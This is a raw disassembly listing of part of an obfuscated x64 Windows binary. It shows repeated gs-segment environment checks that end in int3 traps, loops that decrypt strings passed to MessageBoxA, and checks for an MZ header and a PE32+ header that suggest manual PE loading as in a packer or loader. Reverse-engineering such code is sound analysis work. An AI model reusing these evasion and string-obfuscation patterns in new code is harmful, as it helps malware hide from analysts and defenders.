xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053dc4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053dc4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053de4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.1400610bc
mov rdx, rax
mov r8, rdi
mov rcx, rsi
call fcn.1400e9070
mov rax, qword gs:[0x2b]
mov edi, 0xe04aa78f
cmp rax, r12
jne 0x140053eb4
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053e94
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053e94
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053eb4
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140053f5e
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053f3e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053f3e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140053f5e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.1400617b8
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140054016
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rdi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140053ff6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140053ff6
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054016
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400540d5
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400540b5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400540b5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400540d5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140054102
mov ebx, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x14005421b
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rsi
mov r12, r11
and rcx, r13
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov esi, edi
mov ecx, r15d
lea r11, [rbp + 0xfe8]
movzx edi, dil
movzx eax, byte [r11]
add rdi, rax
xor rdi, qword [rbp + 0xfe8]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
inc ecx
inc r11
cmp ecx, 8
jb 0x140054192
movzx ecx, r10b
add ecx, esi
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc ebx
inc r9
movsxd rcx, ebx
cmp rcx, r14
jb 0x140054175
mov rsi, qword [rbp - 0x40]
mov r12d, 0x32f0cfc6
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x2b]
movabs r14, 0xe742c5c04d18e104
cmp rax, r12
jne 0x1400542cf
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400542af
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400542af
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400542cf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
mov ebx, 0xe04aa78f
cmp rax, r12
jne 0x14005437e
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005435e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005435e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005437e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140054428
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054408
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054408
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054428
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rcx, qword gs:[0x2b]
mov eax, 0x5a4d
cmp word [rsi], ax
je 0x140054815
cmp rcx, r12
jne 0x1400544f5
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400544d5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400544d5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400544f5
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], Ordinal_60
mov r10, r15
movabs rbx, 0x110800a92
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r12, 0x110800a91
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140054549
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x140121b90]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x140121be0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x140121c00]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xef039c4
mov dword [rbp + 0xc8c], 0xdf80278e
mov dword [rbp + 0xc90], 0x9a80f330
mov word [rbp + 0xc94], 0x50
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x40ee8284ca
movabs r11, 0x81dd050994
mov r12d, 0x32f0cfc6
movabs r14, 0x110800a91
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140054631
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, r12
movabs r14, 0xe742c5c04d18e104
jne 0x140054767
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054747
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054747
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054767
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140060287
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400547f5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400547f5
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
cmp rcx, r12
jne 0x1400548b6
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054896
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054896
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400548b6
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
mov qword [rbp + 0xfe8], rdi
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140054983
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054963
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054963
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054983
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
mov ecx, 0x20b
cmp word [rdi + 0x18], cx
je 0x140054d79
cmp rax, r12
jne 0x140054a51
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x550d840
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054a31
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054a31
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054a51
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], Ordinal_60
mov r10, r15
movabs rbx, 0x110800a92
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x121880b3b2
movabs r9, 0x2431016764
movabs r12, 0x110800a91
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140054aa5
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x140121b90]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x140121bf0]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x140121c00]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xef039c4
mov dword [rbp + 0xccc], 0xdf80278e
mov dword [rbp + 0xcd0], 0x9a80f330
mov word [rbp + 0xcd4], 0x50
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x40ee8284ca
movabs r11, 0x81dd050994
mov r12d, 0x32f0cfc6
movabs r14, 0x110800a91
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0xc98]
xor dil, r9b
mov byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140054b8d
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, r12
movabs r14, 0xe742c5c04d18e104
jne 0x140054ccb
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054cab
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054cab
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054ccb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140060287
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054d59
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054d59
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
cmp rax, r12
jne 0x140054e1a
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140054dfa
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140054dfa
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140054e1a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x140121da0]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xd3344ca0
mov dword [rbp + 0x98c], 0x3cadd91f
mov dword [rbp + 0x990], 0x6d8385a1
mov word [rbp + 0x994], 0x5b7a
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x110800a91
lea r10d, [rax + 0x1e]
movabs r9, 0x1fef013d1c
movabs r12, 0x110800a92
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x3fde027a38
cmp r9, rax
jb 0x140054e8f
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x140121e50]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x140121b60]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
movabs rbx, 0x41ff028f5c
mov r10d, Ordinal_33
movabs r9, 0x20ff8147ae
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, rbx
jb 0x140054f48
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.140060294
mov rax, qword gs:[0x2b]
mov esi, 0x32f0cfc6
cmp rax, rsi
mov ebx, 0xe04aa78f
jne 0x1400550b1
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055091
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055091
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400550b1
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x14005515b
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005513b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005513b
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005515b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
xor ecx, ecx
call fcn.1400cace4
mov rcx, rax
call fcn.1400c65c4
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055214
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400551f4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400551f4
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055214
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x1400552be
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005529e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005529e
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400552be
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140055368
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055348
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055348
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055368
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
mov edi, 0x550d840
cmp rax, rsi
jne 0x140055429
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140055409
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140055409
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140055429
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x1400554e6
mov rcx, qword gs:[0x26]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0xf355282
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x26]
xor edx, edx
mov eax, 0x8a4b7af
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400554c6
mov rcx, qword gs:[0x26]
